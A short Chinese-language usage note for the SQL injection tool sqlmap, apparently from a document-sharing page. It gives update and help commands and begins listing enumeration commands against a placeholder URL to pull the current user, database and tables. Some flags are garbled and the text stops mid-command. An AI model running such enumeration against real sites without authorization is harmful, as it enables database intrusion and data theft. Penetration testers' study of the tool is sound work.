sqlmap使用笔记[中文].pdfVIP

Sqlmap 最新测试文档 Email:linuxseclab@ 测试许多款 sql 注入工具 最终还是发现 sqlmap 最为强悍 谁用谁知道！ 赶紧抛弃掉手上一大堆 sql 注入工具吧 : ) 测试环境：ubuntu 10.10 windows 7(x64) sqlmap/1.0-dev (r4405) 如使用过程中出错 请使用下面最近更新的稳定版本: /c0adthmqf1 更新升级 ： sqlmap -update svn checkout /sqlmap/trunk/sqlmap sqlmap-dev 帮助: sqlmap -h 官方最新文档:/doc/README.html ******************基本步骤*************** sqlmap -u http://url/news?id=1 --cu ent-use #获取当前用户名称 sqlmap -u /news?id=1 --cu ent-db #获取当前数据库名称 sqlmap -u /news?id=1 --tables -D db_name #列表名 sqlmap -u http://url/news?id=1 --columns -T